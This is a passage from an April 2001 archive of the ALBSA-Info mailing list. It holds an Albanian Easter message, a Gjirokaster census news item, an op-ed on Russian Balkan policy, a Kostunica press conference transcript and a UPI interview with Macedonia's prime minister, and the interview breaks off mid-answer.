Jezu Krishtit e kundershton dhe e refuzon kete forme te ndarjes. Librat fetare na mesojne se Zoti asnjehere nuk na abandonoi. Sado te trishtuar ose te vetmuar qe ndodhemi ne momentin e ndarjes, pavaresisht se sa na dhemb zemra ne ate moment, Zoti i plotfuqishem, ai qe e do te gjithe njerezimin,eshte i pranishem per te na ngushelluar, per te na sheruar, per te na ribashkuar dhe per te na riperterire. Te gjitha gjerat qe jane te shenjta dhe te bekuara kerkojne vetem besimin tone te Zoti, dhe qe kete besim ta shprehim lirisht ne thenien e plotfuqishme" Krishti u Ngjall"! Shpesh here thuhet, se ashtu si Krishti, cdo njeri ne jete do te kete nje kryq personal qe i duhet ta mbaje mbi shpatulla, qofte kjo semundje ose humbje. Gjithashtu se bashku, le te marrim pjese ne kenaqesine e pendimit qe vjen me Ringjalljen e Krishtit. Une lutem qe te gjitha ndarjet tuaja me te dhimbshme te jene te shkurtera, qe hidherimi t'ju beje me te mencur, dhe qe ju te prisni me kenaqesi Driten Pashkore te Dashurise Hyjnore. Kjo eshte shpresa dhe urimi im per ju ndersa ne festojme Pashken ne kete shekull te ri. Me dashurine e Kristit te ringjallur, At Arturi ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From interbast at albmail.com Thu Apr 5 06:36:46 2001 From: interbast at albmail.com (interbast) Date: Thu, 5 Apr 2001 12:36:46 +0200 Subject: [ALBSA-Info] Klub virtual Message-ID: <001401c0bdbd$7243f9e0$26fda8c0@atcomputer> Bashkohuni ne klubin Interbast2000 www.interbast.com From aalibali at law.harvard.edu Thu Apr 5 07:30:54 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Thu, 5 Apr 2001 07:30:54 -0400 Subject: [ALBSA-Info] Events at Harvard Message-ID: An embedded message was scrubbed... From: hlsforum at law.harvard.edu Subject: [STUDENTORG_FLASH] Judge Baltasar Garzon Visiting Campus Date: Thu, 5 Apr 2001 00:45:25 -0400 Size: 3078 URL: From aalibali at law.harvard.edu Thu Apr 5 14:27:25 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Thu, 5 Apr 2001 14:27:25 -0400 Subject: [ALBSA-Info] Query: Albanian Political Parties Message-ID: An embedded message was scrubbed... From: bieberf at seep.ceu.hu Subject: [balkans] Query: Albanian Political Parties Date: Wed, 4 Apr 2001 20:58:50 +0200 Size: 2512 URL: From aalibali at yahoo.com Thu Apr 5 22:43:02 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 5 Apr 2001 19:43:02 -0700 (PDT) Subject: [ALBSA-Info] Gazeta shqiptare Message-ID: <20010406024302.68228.qmail@web11506.mail.yahoo.com> GAZETA E GJIROKASTRES OSBE dhe Prefektura: Regjistrimi, thjesht? statistik? GJIROKASTER Dropulli i Posht?m k?mb?ngul n? k?rkes?n e tij, p?r sakt?simin e komb?sis? n? formular?t e regjistrimit t? popullsis? e banesave. Madje p?r k?t? ??shtje ata i kan? d?rguar dje nj? let?r kryeministrit Ilir Meta, si dhe Prefektur?s s? Gjirokastr?s, ku u k?rkohet e nj?jta gj?. Institucioni m? i madh lokal i Gjirokastr?s, si dhe zyra rajonale e OSBE-s?, kan? reaguar lidhur me k?rkes?n e minoritar?ve dropullit?. Nd?rkoh? b?het e ditur se kryetari i komun?s s? Dropullit t? Posht?m, Pandeli Toli, ka th?n? q? "ne do t? fillojm? nga puna, aq m? tep?r q? jemi pushtet vendor, e do t? zbatojm? ligjin, por sa do t? ec? kjo gj?, k?t? nuk mund ta themi". Kas?m Lamaj, shef i sektorit juridik, ka th?n?, p?r Gazet?n, se "kemi t? b?jm? me nj? regjistrim statistikor, q? ka t? b?j? me pron?n dhe popullsin? e jo me problemet e identitetit". "Aq m? tep?r q? nj? proces i till? monitorohet nga donator?t e huaj, dhe Kombet e Bashkuara kan? r?nd? dakord q? n? t? gjitha v?ndet ku po kryhet nj? proces i till? regjistrimi, t? dh?nat intime nuk do t? publikohen, pasi ky ?sht? proces ekonomik e social. P?rderisa ky regjistrim nuk bazohet mbi dokumente, por mbi informacionet e lira, nuk ?sht? e nevojshme q? t? shkruhet komb?sia dhe ky problem nuk e mohon identitetin e njer?zve", -ka theksuar Lamaj, duke shtuar se "k?t? ia kemi b?r? t? ditur edhe zyr?s s? OSBE-s?". Reagim p?r bllokimin e procesit t? regjistrimit n? Dropullin e Posht?m ka pasur edhe nga kjo zyr?. Shefi i saj, Gaston Back, ka th?n? p?r Gazet?n, se "ne na vjen keq p?r bojkotimin e procesit t? regjistrimit t? popullsis? e banesave, pasi ajo n? m?nyr? t? qart? po fokusohet n? aspekte q? kan? t? b?jn? me k?rkime demografike, sociale dhe ekonomike". "Siqoqoft?, ne i kuptojm? shqet?simet e minoriteteve dhe po p?rpiqemi t? organizojm? takime me grupet e t? gjitha niveleve t? p?rfshira n? k?t? proces. Kemi planifikuar q? t? b?jm? takime me konsullin dhe me OMONIA-n", -ka th?n? Back. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From rlukaj at bear.com Fri Apr 6 17:25:07 2001 From: rlukaj at bear.com (Lukaj, Richard (Exchange)) Date: Fri, 6 Apr 2001 17:25:07 -0400 Subject: [ALBSA-Info] FW: RUSSIA'S ALBANIAN CARD Message-ID: Janusz Bugajski is a Balkan expert at the Center for Strategic International Studies in Washington. Richard Lukaj Please see below. 23 March 2001 RUSSIA'S ALBANIAN CARD Janusz Bugajski Published Nacionale in Croatia, and Kapital in Bulgaria Albanian insurgents in Macedonia are playing directly into the hands of the anti-Albanian lobby clustered around the governments in Belgrade and Moscow. This lobby is purposively turning the perceptions of Albanians from that of victims of ethnic war and barbarism into terrorists and conspirators hell-bent on destabilizing the entire region. What better proof, they claim, than the current rebellion in Macedonia? Such a propaganda strategy serves two essential purposes: first, to strengthen the case for preserving Milosevic's Yugoslavia, and second, to increase Russian influence throughout South East Europe where Moscow has lost significant ground following the collapse of the Soviet bloc. According to the Belgrade-Moscow axis, Albanian political leaders in each Balkan state are secretly plotting for a "Greater Albania." Consistent condemnations of guerrilla attacks in Macedonia by Albanian politicians and their recognition of Macedonia's borders are dismissed as duplicitous. The propaganda goal is to engender the negative image of Albanians as terrorists, criminals, drug-smugglers, and Islamic fundamentalists. Serbian and Russian propaganda is determined to retool public perceptions of Albanians in the West as Europe's Taliban menace. The anti-Albanian lobby claims that Albanians are incapable of democratic government but are primitive, patriarchal, violent, and fundamentally anti-Western. They point, as alleged proof, to developments in Albania itself in the past four years and the growth of the "terrorist" Kosova Liberation Army and its supposedly vast criminal empire. Moscow conveniently camouflages evidence that the Serbian mafia dominates the central Balkans. Instead, it alleges that any Albanian state generates instability throughout the region, undermines the process of European expansion, acts as a conduit of illicit materials into the continent, and provides a gateway for fundamentalist Islamic forces. With the demise of Milosevic, Moscow wants American and European policy makers to conclude that the major sources of insecurity and conflict in the region are radicalized Albanians. Militants and extremists have apparently hijacked Albanian politics throughout South East Europe and the democrats are either helpless bystanders or willing accomplices. Such contentions provide a useful cover for the state terror inflicted by Belgrade over the past decade designed to keep Yugoslavia together and which precipitated and perpetuated many of the nationality conflicts in the region. The scenario that has developed in the past few weeks in Macedonia could not have been better scripted by Belgrade or Moscow, whether they orchestrated the crisis through their extensive intelligence and criminal networks or are simply exploiting it to their advantage. First, it shifts attention away from the problems in Serbia and the unwillingness of Belgrade to surrender Milosevic and other high-ranking war criminals to The Hague tribunal. In fact, it buttresses those who are calling for greater economic and military assistance to Belgrade, regardless of its paltry democratic credentials, as an evident counterweight to growing "Albanian extremism." Second, the Macedonian crisis undercuts the position of those calling for Kosovar statehood and independence as this can now be depicted as promoting militancy and regional instability. It reinforces those who claim that Albanians are ill suited for self-government and must remain under international wardship and eventual Serbian-Yugoslav control. Macedonia's Albanian guerrillas are thereby described as an essentially Kosovar movement determined to provoke ethnic war inside the vulnerable Macedonian state, despite the fact that most recruits are locals. And third, attacks by Albanian guerrillas in Macedonia buttress calls for the preservation of the Yugoslav state as an important counterweight to the specter of "Albanian expansionism" throughout the region. Indeed, Belgrade will aim to forge closer political and military links with Macedonia and maintain pressure on Montenegro to stay within a "Yugoslav federation" as a supposed bastion against rising pan-Albanianism. So what does Moscow stand to gain from the conflict? With an internationally relegitimized Serbia, Russia is assured of a major ally in the Balkans from where it can exert influence further afield. Moscow has interests throughout a much wider region, and in particular it seeks to prevent any further NATO expansion or Allied success in a zone it considers to belong to its "sphere of influence." Under President Putin, the Kremlin has accelerated its attempts to unseat the democratic government in Bulgaria, as evidenced in the regular expulsion of Russian agents posing as diplomats in Sofia, to shore up the Kostunica administration in Serbia, and to create broader problems for NATO throughout South East Europe. Despite NATO's success in halting genocide in Kosova, the Kremlin brazenly charges K-FOR with failing in its mission, of allegedly tolerating Albanian militancy, and of promoting regional destabilization. It is thereby challenging NATO to either destroy the Albanian guerrillas and their support base or to abandon the Balkans altogether. This would of course open up the terrain to Serbian security forces to deal once and for all with the "Albanian question" without any humanitarian qualms, much as Russia has already demonstrated in Chechnya. During his recent trip to the region, Russian Foreign Minister Igor Ivanov claimed that NATO's "passive reaction" to the spread of the Kosova conflict into Macedonia threatens peace in the entire region and encourages other ethnic and territorial conflicts. He asserted that NATO intervention had failed to solve the region's problems while indicating that Russia had the answer. Ivanov of course failed to mention how Moscow aided and abetted Milosevic over the past decade and was slow to recognize his overthrow last fall, fearing that it could lose influence in Serbia. Moscow is clearly intent on making the Balkans safe for its oligarchic lobbies and criminal cartels linked with the re-energized KGB structure promoted by President Putin. Given these objectives, funds channeled to mercenaries in the region (regardless of their ethnicity) through Russia's intelligence network can help deliver a bonanza for the Kremlin's political interests. Above all, it could prevent the final disintegration of Yugoslavia and bring Macedonia into a tighter Serbian-Russian orbit, thus increasing pressures on a currently pro-western Bulgaria. The guerrilla attacks in Macedonia fit perfectly into a strategy of deliberate destabilization and Muscovite "reimperialization" in the Balkans. From rlukaj at bear.com Fri Apr 6 19:43:08 2001 From: rlukaj at bear.com (Lukaj, Richard (Exchange)) Date: Fri, 6 Apr 2001 19:43:08 -0400 Subject: [ALBSA-Info] FW: Kostunica's view on recent events Message-ID: Try reading this article after you read Bugajski's position paper on Russia's card. There is lots of work to do yet to achieve peaceful coexistance between the political leaders of Serbia and their own citizens let alone the relations that it should wish to develop with its neighboring countries in the Balkans. I hope for better days ahead for the innocent people of the Balkans who are caught in the middle of so many agendas in the region. Rich -----Original Message----- From: Sokolrama at aol.com [mailto:Sokolrama at aol.com] Sent: Thursday, April 05, 2001 12:08 PM To: agron at rcn.com; IZherka at aol.com; GQKokalari at aol.com; rlukaj at bear.com Subject: Kostunica's view on recent events Following is Kostunica's press conference as reported by a Belgrade TV on the wake of Milosevic's arrest. It very much gives an insight in the way he thinks and beyond that. Milosevic extradition not something we are thinking about now - Yugoslav leader Yugoslav President Vojislav Kostunica has said that the extradition of Milosevic to the Hague war crimes tribunal is "not something which is being considered at this very moment". Speaking at a news conference in Belgrade on 3 April, Kostunica denied any link between Milosevic's arrest and the announcement that US aid to Yugoslavia would continue. "Two days before the deadline it was more than obvious that Bush would sign the document on the basis of everything that has been accomplished in this country over a very short period of time and under extremely difficult conditions, and that the Milosevic issue is not a special issue, at least not the primary one," Kostunica said. He added that the Yugoslav courts would tackle the issue of Milosevic's guilt much more stringently than The Hague and that it was in the country's interest to arrive at the truth. Referring to moves for Montenegrin independence, Kostunica said that pro-independence arguments were untenable and secession would mean the failure of the Helsinki principles on the inviolability of state borders. "This would start a whole new chain of further events that would further destabilise the whole region," Kostunica reiterated. If Montenegro does secede, Kostunica said, Serbia would need to stage fresh elections and draft a new constitution. The following is an excerpt from a report by Belgrade-base independent BK TV on 3 April: [Protocol official] I now open the press conference. Mister President, we can begin. [Kostunica] Ladies and Gentlemen of the press, I will talk about several issues, as is the usual custom, but also, of course, I will talk about the issue of all issues, about what happened a few days ago. In the past few days there were two events that drew our attention: the departure of Slobodan Milosevic to the investigation prison, and the fact that US President Bush signed a document that qualifies us, as a state, to receive economic help. I want to outline that the help is small, it is 50 million dollars, which is extremely small when compared to the material damage inflicted upon the Federal Republic of Yugoslavia during the NATO bombing in 1999. Let me remind you of those figures one more time. 50 million dollars in comparison to 30 billion dollars of damage in total, which is the estimate given by G17 Plus, and 3 billion of that total refers only to the Serbian Power Industry. So, the help is small, but it qualifies us for cooperation with the IMF and the World Bank, without which we would hardly be able to survive and finally renew the economy that was destroyed by an erroneous economic policy, sanctions introduced by the international community and, finally, by the NATO bombing. I will outline immediately that there is no connection of any kind between these two events, the US president's signature and Slobodan Milosevic's departure to the investigation prison, no matter how many people will maliciously seek that connection. I will add one more thing: by the way the action of detention, arrest, or whatever it was called, was carried out, the whole operation could have put in danger this other matter. What am I trying to say here? Two days before the deadline it was more than obvious that Bush would sign the document on the basis of everything that has been accomplished in this country over a very short period of time and under extremely difficult conditions, and that the Milosevic issue is not a special issue, at least not the primary one. Nevertheless, in spite of that, the change of guards on Uzicka Street was undertaken, then the attempt to detain Slobodan Milosevic, which was done in a pretty unplanned and clumsy way, which could have resulted in the loss of that small amount of public trust we have managed to gain since October. And that public trust, regardless of the fact that in today's world things are being measured by the money criterion, is something extremely important. Luckily, it all ended well, reason prevailed, and there was no bloodshed on either side, the state officials were finally, after dozens of hours, informed and a joint stance was adopted. That is why, in some respect, the events on 30 and 31 March can be considered the epilogue, the second act of the events on 5 October. Then we managed to preserve the state, to avoid a civil war. 30 and 31 March were, in some way, the second act of our Yugoslav, or Serbian, peaceful revolution. Maybe I should now add something, although it is not of general importance, but is important for our country: not only have we managed to preserve the state, to avoid a civil war, but we have also managed to keep a political party that this country needs in its spectrum of political parties, the Socialist Party of Serbia, since such a left-orientated is undoubtedly necessary in our political life. All that has happened showed us one more time to what extent we were under authoritarian pressure; over those several dozens of dramatic hours it became clear how little people still understand about the basic principles of institutions, how mistaken they are about the authorities, and that even lawyers do not care much for something that is above everything else, like formality and procedure. A typical example of not understanding authority and not grasping procedure were the critics of the Yugoslav Army [VJ] who claimed the latter were uncooperative and had even obstructed the detention of Slobodan Milosevic. One thing was forgotten at the time: that the army is not the police, that its authorities on Uzicka Street are very clearly determined. It is known what authority is invested in the police and in the court official who was supposed to hand the suspect the warrant. It is known, or at least it should be known, what a criminal charge is, how it is carried out and where it should be registered. It is also known who has the authority, and who does not, to reveal that someone has been taken to the investigation judge. I say it is known, but we have lived for too long in a non-lawgoverned, one-party state to be able to speak of reliable, good experience with an independent judiciary or investigations that do not take sides... I have to repeat one more thing: if we want to cooperate with the Hague tribunal - and in a way that allows our judiciary to take part in the trial, a kind of repatriation of the trial, and cooperation with the Hague tribunal does not exclude that option, a fact which you can see in trials not only in The Hague but in countries with war crime suspects, Croatia, for example - if we want that kind of cooperation, then we have to show that we know what a trial is and what the regularity of a court trial means. Unfortunately, what happened in front of the cameras on Uzicka Street could hardly be interpreted as proof of our maturity. When we speak of Slobodan Milosevic, of course he is responsible - in the way the broad Serbian public and not only political parties, see it - firstly before his people. That responsibility was proved twice in the elections held last year, first on 24 September and then on 23 December. That responsibility consists of what Milosevic has done and of what he has omitted to do. It consists of dissolving the state and of a drastic impoverishment of the people. I would like to outline that Slobodan Milosevic has a great deal of responsibility for what happened in former Yugoslavia, now reduced to Serbia and Montenegro, primarily before his own people, but he has accomplices for what happened both here and in the other parts of former Yugoslavia. Those accomplices are, of course, among the leaderships of the former Yugoslav republics and in the international community, of course, which omitted at some crucial moments to give peace an advantage, to permanently and firmly insist on certain actions that would gradually bring us a peaceful solution... The responsibility of Slobodan Milosevic, without going into details, is enormous, at times primarily for not doing anything. Kosovo is the best example, given what could have been done there over the past 10 years in order to reach a solution to a very difficult issue. And you can never say, if you did not try to do something, that there was no possibility for you to do something to solve even an issue as difficult as the Albanian relationship with all the nations in the region, with all the neighbouring countries. The Macedonian example is proof of this. It is a country that has, in recent years, truly integrated the Albanian population and political parties into its political life. The Macedonians had two governments in which Albanian representatives participated, their political parties. Those political parties now bear the responsibility for what is happening in Macedonia. This issue is difficult even where much more was done than what Slobodan Milosevic did. Of course, he has great responsibility for what he did not do, for not having dealt with the Kosovo issue, for having thought that such a large nation as the Albanians, with such great state ambitions as theirs, could be left out of political life without producing all the consequences it subsequently produced. I am talking about his responsibility before his own nation. We will undoubtedly tackle this issue much more than any court would, including the Hague tribunal, it is undoubtedly in our primary interest to get to the truth about those events, and I will remind you that I thought a body should be set up in search of that truth, a body such as existed in numerous countries that faced the difficulties and problems associated with confronting the truth after the fall of authoritarian regimes, from South Africa to Chile. That is why we founded the commission for truth and reconciliation. Now I would like to talk about southern Serbia, about the negotiations and the misfortune of abducted persons. Their number has decreased, there are now five of them instead of six, but the drama continues. Of course there cannot be negotiations until they are freed, not a single state can allow itself such a luxury. That would only falsely encourage the terrorists, who are being dubbed extremist by some - my guess is in order not to offend them. There will be no deals with the terrorists, that is out of the question and it is something NATO has to understand. The idea of strengthening confidence in southern Serbia cannot apply to terrorists. The Macedonian example has shown that. There are also problems in Kosovo, in its northern part, as a result of the attempts to broaden the buffer zone to Kosovska Mitrovica, thereby potentially - through an exodus from that small part of Kosovo inhabited by the non-Albanian population, by Serbs in the first place - converting Kosovo into a monoethnic region. That game is very dangerous, the increased pressure against our people in the north of Kosovo is dangerous as well, and I hope I will be able to discuss it in detail over the following days with the UNMIK head in Kosovo, Hans Haekkerup, when he arrives in Belgrade. There was a kind of preparation for that conversation in Geneva, during a conversation with the UN secretary-general, Kofi Annan. I would like to say that the conversations with Annan, French President Jacques Chirac and the special UN human rights envoy, Jiri Dienstbier, were more than useful and fruitful. I would like to draw your attention to Dienstbier's reasonable thesis about the Albanian question, the way it is manifested now, above all as a question of uniting territories with the objective of, among other things, carrying out unlawful activities. This might sound like a euphemism. Of course I refer to dealing in drugs, arms and everything else. It is not about human rights and it is pointless to reduce this problem only to the problem of human rights. Without any intention to meddle in the internal affairs of the other Yugoslav federal republic before the elections on 22 April there, my attention is drawn to Montenegro insofar as I would like to express my hopes, once again, that our state stays joined together, that the law should be respected and that those who are undermining the state, if nothing else, should be warned in due time that they will bear the consequences for this. Those who advocate Montenegrin independence today quote two kinds of reasons for independence. One group is historical, that is the ten-centuries-old - how familiar that sounds - existence of an independent Montenegrin state once called into question, and that this independent Montenegrin state is simply something which represents an overriding value, a value so precious that it needs to be fenced off by a wall as high as possible from another area inhabited by a great number of people who - though they originate from Montenegro - think of themselves as Serbs or Montenegrins, just the same. The other reason quoted by the fierce advocates of Montenegrin independence today is no less interesting - it is a contemporary argument, but just as untenable. The argument is that the problem lies in the fact that Montenegro is much smaller than Serbia, that there is disharmony and imbalance in the size of the two federal units which cannot be amended by any means, that there is no constitutional solution good enough to respect Montenegrin equality and independence within a joint state. Thus we arrive at the fact that some of the fiercest and poorly-argued critiques that I have received in my political life come precisely from the advocates of Montenegrin independence. The question to be asked is where they are coming from. I am accused of Milosevic-like behaviour by the recent allies of Milosevic and front-line fighters of the yellow plank [Serbo-Croat: zuta greda]. This is why, of course, it is not worth responding to those kinds of remarks. There is, however, another course of events concerning our problems to which I was alluding when I talked with foreign representatives, and this concerns neither relations between Serbia and Montenegro nor does it concern the Federal Republic of Yugoslavia. Rather, it concerns peace and stability in the region. Montenegro's departure from Yugoslavia - that is, Montenegrin secession - would only signify the failure of the very well-known Helsinki principles on the inviolability of state borders. This would start a whole new chain of further events that would further destabilize the whole region. The Balkans lie within Europe and since Europe has already become involved with sorting out the situation in the Balkans, then they need - today, more than ever before - to reaffirm the value of the Helsinki principles, that borders in such a sensitive region of Europe as the Balkans should be strong and inviolate and that within such clearly-defined borders [TV signal interrupted, loss of perhaps half a second] one needs to affirm the principle of the rule of law and protect the rights of minorities. This is the best way to avoid what has burdened this region for the past ten years but also during the whole of the past century. Finally, a few words should be said on a topic that attracted considerable interest after my statement at the session of my party's executive committee, the party of which I am president, the Democratic Party of Serbia, more than a week ago. I said that the elections - whether federal or republican - are of course sooner or later inevitable after the elections in Montenegro. Of course, I never thought this would provoke such interest and such fierce responses. On this occasion, I would like to remind you of the fact that on another occasion, at a DOS convention in the Sava Centre [in Belgrade], I gave my word clearly and loudly that federal elections will be carried out within a year, or a year and a half at most, and nobody raised a voice against my promise. As far as federal elections were concerned, my promise then was based on something that was in itself more than understandable. If the Federal Republic of Yugoslavia survives the Montenegrin elections, then there is a need to reconstruct it constitutionally. If that state is to be reconstructed constitutionally, then one needs to include in the work of the federal parliament those political forces which did not take part in the elections in September last year. This is the only proper way to reach a kind of constitution that would be acceptable to both federal units and all its citizens. On the other hand, as far as elections in Serbia are concerned, sooner or later - I emphasize: sooner or later, not overnight - if the Federal Republic of Yugoslavia does not survive, then the elections carried out in December last year represent elections aimed at a part of a state and not at the whole of this state. If the Federal Republic of Yugoslavia does not survive, Serbia will be a new, self-supporting, independent state and this will demand - at its incipient stage and during its first steps - elections and a new constitution. There are a great number of those, also on the democratic side in Serbia, who tend to overlook the simple fact that in this case elections should be organized - that solving the question of a new Serbian constitution should be carried out in a thorough way, even if it stays in the joint state. I would remind you that there are now a great number of pressing demands for solving the question of a new status for Vojvodina but without changing the constitution of Serbia, that is, without changing the constitution which was adopted in September 1990 by the one-party assembly during Milosevic's rule. So, for some political parties in Serbia, the only thing which this constitution lacks is regulation of the status of Vojvodina. Everything else is fine and nothing should be changed. That constitution should be combed, dusted out, and it should remain as it is. Of course the constitution should be changed, especially if Montenegro leaves. In case of its secession, we have a new situation - from the constitutional and internal point of view - where Serbia would be a new and independent state. Thank you. [First journalist] In practical terms, will you oppose, or will you be neutral in regard to the extradition of former President Milosevic, a procedure which he himself signed by accepting the Dayton Agreement. That is, will you fight for his delivery to The Hague through democratic means, will you be neutral or will you fight for a trial by The Hague but here in Belgrade, or will you fight for a trial only by Serbian courts? [Kostunica] On the question of the extradition of former President Milosevic to the Hague tribunal and my willingness or unwillingness to do so, I would like to emphasize the following: I would like, once again, to recall the fact that there are some things which fall under the competence of the federal president and as far as the job description for the jobs I do is concerned, the extradition of our citizens and those who find themselves on our territory - including even former officials such as former President Milosevic - none of that fits the job description of the president of the republic. But, of course, the president of the republic must have a stance regarding this question and my stance is the following: the extradition of Slobodan Milosevic and cooperation with the Hague tribunal to this end is not something which is being considered at this very moment in the Federal Republic of Yugoslavia. What we are considering is what I have talked about and this is the political and legal - by facing the investigative judge - accountability of Slobodan Milosevic before our authorities. Starting from the fact that the most pressing need to satisfy the [demands of] justice lies here - as far as the responsibility of our officials, including Milosevic, is concerned - before our institutions and our courts, I believe that, at this moment, we are not thinking about anything else - unless, of course, you ask me about a proper court procedure which would determine all these elements of responsibility. The Hague is not in our thoughts now, and not in my thoughts at all, considering the preoccupation with the south of the country, with Kosovo, with poverty, Montenegro and with all our other problems. On the other hand, seen in the long run, The Hague very frequently sends out little darts and remarks pointing out the incompetence of the judicial institutions in this country and emphasizes that this is why all those who are indicted for crimes should be handed over to The Hague. Just as The Hague speaks about the shortcomings of our judicial institutions - and I would agree in many respects - there are many reasons to speak about the shortcomings of the judicial institutions in the Hague itself. Every court must take one tenet of justice as its guiding principle. The Hague tribunal takes selective justice as its guiding principle. Selective justice is not justice. The selectivity of justice - in the case of the most important people politically, i.e. heads of state and, as far as the Hague tribunal is concerned, after the clashes in the former Yugoslavia - lies in the fact - and I will repeat once again - that not once was the question of responsibility raised of any important person on the Croatian, Bosniak [Bosnian Muslim] and Albanian side, and if you like, on NATO's side as well, because NATO is also responsible for a part of the crimes carried out in 1999. When this happens, we could think about proper cooperation with the Hague tribunal. Besides, a question is being asked here which is not only a theoretical but a practical question and that is: what kind of court is it that judges in portions, so to speak? An international court that judges in portions, which judges or accuses or summons to court those who are indicted for crimes in a single war? How many wars have there been in the past 50 years? How many crimes have been committed in different parts of the world? All this is leading us towards an idea of a different kind of court - a much more objective and impartial one - an international war crime tribunal which still does not enjoy the support of the international community because it does not enjoy the support of one country in the international community and that is the United States of America... [Source: BK TV, Belgrade, in Serbo-Croat 1110 gmt 3 Apr 01] From rlukaj at bear.com Fri Apr 6 20:21:41 2001 From: rlukaj at bear.com (Lukaj, Richard (Exchange)) Date: Fri, 6 Apr 2001 20:21:41 -0400 Subject: [ALBSA-Info] FW: Interview with Macedonian Prime Minister Message-ID: There, regrettably, seems no desire to address the issues of the ethnic Albanian citizens any time soon from the tone of this interview. I hope more pressure can be used than is suggested in the interview to achieve some constructive progress in the region. Richard Interview of the week: Macedonian prime minister Wednesday, 4 April 2001 19:16 (ET) Interview of the week: Macedonian prime minister By SAM VAKNIN SKOPJE, Macedonia, April 4 (UPI) -- The prime minister of Macedonia is a youthful, 35-year-old poet and man of letters, who has published three books of experimental literature. He describes himself as sad and disappointed at the recent conflict that has erupted in his country, shattering his dream of peaceful co-existence. Ljubco Georgievski was the first deputy-premier of his country in 1991, and was elected prime minister in November 1998. He gave this exclusive interview to United Press International in his office in the Macedonian capital Wednesday. Q. You are the prime minister who did the most for inter-ethnic tolerance in Macedonia. Are you disappointed? A. We are very shocked by events in the last month. Macedonia until a month ago was an example of a multi-ethnic state, the recipient of compliments from the international community as proof of the possibility of peaceful multi-ethnic co-existence in the Balkan. The appearance of terrorists shattered this image and Macedonia has become a problem of multi-ethnic life rather than a model. We have never evaded these issues, but we will not allow anyone to annul everything we have achieved in the last 10 years. We also believe in evolution -- and not in revolutionary changes overnight. Q. You disagree with violence and terror. But do you agree with some of the demands of the (ethnic) Albanians? A. Everything is open to discussion, as long as it is done democratically. We proved this in the last decade. But we cannot accept demands backed by weapons. This breaks every principle, international and national. The terrorists must leave Macedonia and abandon their weapons, to allow us to proceed with our discussions. We will sit at the table and each party will present its reasoned demands and we will consider them together: Are the (ethnic) Albanians living in Macedonia subject to international standards, what more do they want, and how can it be resolved? None of their demands in the last decade was presented either to the Macedonian parliament or to the government. They (the demands) may have constituted the position of the Albanian political parties but until now they have not been formally presented to the proper institutions. Q. The Albanians demand changes in the constitution (for instance, to make them a "constituent nation"). Do you think this question can be resolved, even in principle? A. As I said, all issues can be discussed. What will be decided depends on the mood of all the political parties and, finally, on parliament. I am prepared to interpret the constitution creatively, as we have done in the case of (ethnic) Albanian high education. Though the constitution does not state decidedly that high education can be conducted in another language, we do have high education in Albanian. Similarly, we can creatively interpret many other issues. Q. Macedonia is a young state. Many in Macedonia feel that their existence is insecure. Can it be that, as a result, you are over-sensitive to Albanian demands? A: The Macedonian people are afraid for their country and for peace. It is understandable. They lived here under the same conditions for centuries, and in the last decade, we witnessed four wars in this region, the last one being the Kosovo crisis. This fear is normal. Should the Balkans normalize and survive in peace for 10 to 15 years, people's minds may change and they would not be so sensitive to such issues. Q. Mr. Arben Xhaferi (leader of the biggest Albanian party, DPA, and a member of the coalition) presented a demand to resolve all the outstanding issues in one month. Do you regard this as an ultimatum? Do you think it is a productive approach? A. I believe that he intended to speed things up but I am pessimistic that any issue can be resolved in one month. In any case, it is very bad to present any ultimatum at the beginning of the discussions. We showed that we are ready for discussions, for their intensification -- but without any additional conditions. Q. Do you feel pressured by the West? A. It is obvious that the West needed time to understand what is happening here. Following the first phase, in which they faced many unknowns, communication has improved and is functioning maximally. We are especially content that they augmented the KFOR contingent in Kosovo. They present no special demands except to intensify the discussions with the (ethnic) Albanian political parties within our institutions. This is acceptable to us and we feel no special pressure. We are particularly happy that the international community -- having studied the situation -- has accepted the thesis that we are faced with terrorism, that we cannot negotiate with terrorists, and that we should unite to eliminate terror. Q. But in your speech you criticized both the West and Western media... A. Our criticism of some Western countries was because the border between Macedonia and Kosovo was not sufficiently controlled by KFOR. This, probably, encouraged the terrorists to enter Macedonia. Now, having realized their mistake, things improved. The very fact that they enhanced their forces proved that they understand the situation. Regarding the Western media, we reject only their formulation -- which goes against the terminology used in other countries with similar problems -- that we are dealing with rebels. This legitimizes a group of terrorists, encourages and strengthens them and lets them think that they have international support. We also dislike the exaggeration of the situation by the international media. Skopje, for instance, contrary to media reports, is very peaceful as is the rest of the country. Macedonia has been attacked only in three places, all very close to the Kosovo border. This serves to prove that the aggression against Macedonia was initiated from the Kosovo protectorate. We should call a spade a spade. Q. Serbia has negotiated with the KLA (Kosovo Liberation Army). Why won't Macedonia negotiate with the NLA (National Liberation Army in Macedonia)? A. In Macedonia we would not consider, even for one moment, negotiating with the KLA regarding Macedonian territory because we really consider them to be a classic terrorist organization and because Macedonia was always complimented for its multiethnic cooperation. In Macedonia, there are legal (ethnic) Albanian political parties represented in the government by many ministers. They can present every question in both parliament and government. We don't intend to promote terrorists to the position of political co-discussants. Q. Do you believe that what happened in Tetovo (the fighting between Macedonian security forces and ethnic Albanian gunmen) can happen again? A. We are awaiting now, according to all information, for a second wave of a massive terrorist attack toward the middle or the end of this month. I believe that this second wave can be prevented only with very active pressure by the international community on the political structures in Kosovo and with a clear statement that it does not stand behind such elements. Q. The new administration in the United States displays isolationist tendencies. The United States has withdrawn 800 soldiers from Bosnia. Do you think that this is a wrong orientation? A. It is too early for the Americans to leave Kosovo and Macedonia. We expect the region to remain unstable for some time to come, and we would like this instability ameliorated by both NATO and the American Army. We don't see any risk in their presence but there is a risk in their withdrawal. Q. A few weeks ago the Serbs were allowed back to the security zone around Kosovo to counter Albanian terrorism in that area. Was the whole Kosovo war of 1999 a mistake? A. The security zone is in Serb territory bordering on Kosovo and the Serbs should receive it back. We think it is the right policy. Serbia should control its border up to Kosovo. The faster this is done, the faster the problem in the frontier valley will be overcome. Regarding the return of the Serbs to Kosovo as a whole, it is a more complex issue. It is a fact that in Kosovo today, there is the opposite oppression. (Ethnic) Albanians created there the most ethnically cleansed space by "cleansing" not only Serbs, but (ethnic) Turks, Romas and others. The international community now has a reverse problem: how to pacify Albanian extremism there. Regarding whether the war was necessary or not -- again, this 